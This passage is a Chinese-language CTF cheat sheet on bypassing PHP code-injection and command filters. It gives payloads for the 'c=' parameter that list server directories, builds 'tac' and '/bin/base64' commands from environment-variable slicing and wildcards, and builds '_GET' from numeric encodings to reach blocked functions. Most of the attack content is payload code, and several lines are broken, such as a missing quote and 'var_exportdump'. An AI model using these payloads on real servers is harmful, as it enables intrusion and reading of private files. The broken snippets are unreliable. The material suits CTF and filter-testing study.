8.扫描目录(补)
- print_r扫描目录
c=print_r(scandir('.')); #查看当前目录
c=print_r(scandir('/')); #查看根目录
c=print_r(glob('*')); #查看当前目录
c=print_r(glob('/*')); #查看根目录
- var_dump扫描目录
c=var_dump(scandir('.')); #查看当前目录
c=var_dump(scandir('/')); #查看根目录
c=var_dump(glob('*)); #查看当前目录
c=var_dump(glob('/*')); #查看根目录
- var_export扫描目录
c=var_export(scandir('.')); #查看当前目录
c=var_export(scandir('/')); #查看根目录
c=var_export(glob('*')); #查看当前目录
c=var_exportdump(glob('/*')); #查看根目录
- glob目录遍历
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();
或者
$a = "glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$b."\n";
}
close($b);
}
【opendir、readdir、scanddir:
opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。
readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。
scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false。】
10.系统命令构造数字:
{_} = ""
$(())=0
$((~$(())))=-1
11.服务器变量构造查询语句
常见的系统变量:
PHP可用的函数:
1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
2
3 PHP_VERSION=7.3.22 /版本
4 SHLVL=2 /记录多个bash进程实例嵌套深度的累加器
5 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6 [HOSTNAME] => glot-runner /主机名
[PHPIZE_DEPS] => autoconf dpkg-dev file g++
gcc libc-dev make pkg-config re2c
7
8 [PHP_INI_DIR] => /usr/local/etc/php
9 [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
10 [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
11 [PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2
D6021E995DC9FF8D3EE5AF27F
12
13 [PHP_VERSION] => 7.2.1
14
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/
this/mirror
15
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d
8e6efd8822
16
17 [PHP_MD5] =>
18 [HOME] => /home/glot
19 [PHP_SELF] => /tmp/543750210/main.php
20 [SCRIPT_NAME] => /tmp/543750210/main.php
21 [SCRIPT_FILENAME] => /tmp/543750210/main.php
22 [PATH_TRANSLATED] => /tmp/543750210/main.php
23 [DOCUMENT_ROOT] =>
24 [REQUEST_TIME_FLOAT] => 1524198667.12
25 [REQUEST_TIME] => 1524198667
26 [argv] => Array
27 (
28 [0] => /tmp/543750210/main.php
29 )
30 [argc] => 1
31 )
构建tac
tac====>${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERS
ION:${PHP_VERSION:~A}:~${SHLVL}}}
⾸先获取到3以便于得到 PHP_CFLAGS 中的tac:
从 PHP_VERSION 中截取 ${PHP_VERSION:2:1} //切⽚操作
这⾥的2:
可以⽤ ${PHP_VERSION:~A} 得到字符串的最后⼀位
这⾥的1:
可以⽤ ${~SHLVL} 得到,因为按位取反10取反得到01所以 ~2=1 ;
因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}
最终的tac命令: a. ${PHP_CFLAGS:3:3} //切⽚操作,也就是上⾯3的语句直接复制⼀遍
也就是: ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${ PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} //得到tac指令
构建base64
1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
2 PHP_VERSION=7.3.22
3 SHLVL=2
4
5 ???? //代表base
6 ${#PHP_VERSION}${PHP_CFLAGS:~A} //代表64
7 题目需要base64命令的绝对路径:
8 ${PWD::${#SHLVL}} //代表'/'
9 ${#SHLVL} //#用来求变量值的长度
10 初次完整的命令:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}????${#PHP_VERSION}${PHP_CFLAGS:~A}
????.??? //长度超过限制需要缩减
11
12 随机数:
13 ${RANDOM} //随机代表一个数
14 ${#RANDOM} //代表这个随机数的长度
由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字
符串代替
15
16 最终的语句:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? //带有随机
性,只要${RANDOM}是一个四位数就可以,多试几次
12. 以数字和不敏感函数构造敏感函数
1 base_convert(1231231131,10,36) ===>hex2bin
2 hex2bin(dechex(1598506324))=======>_GET
3 $hex2bin(dechex(1598506324))=======>$_GET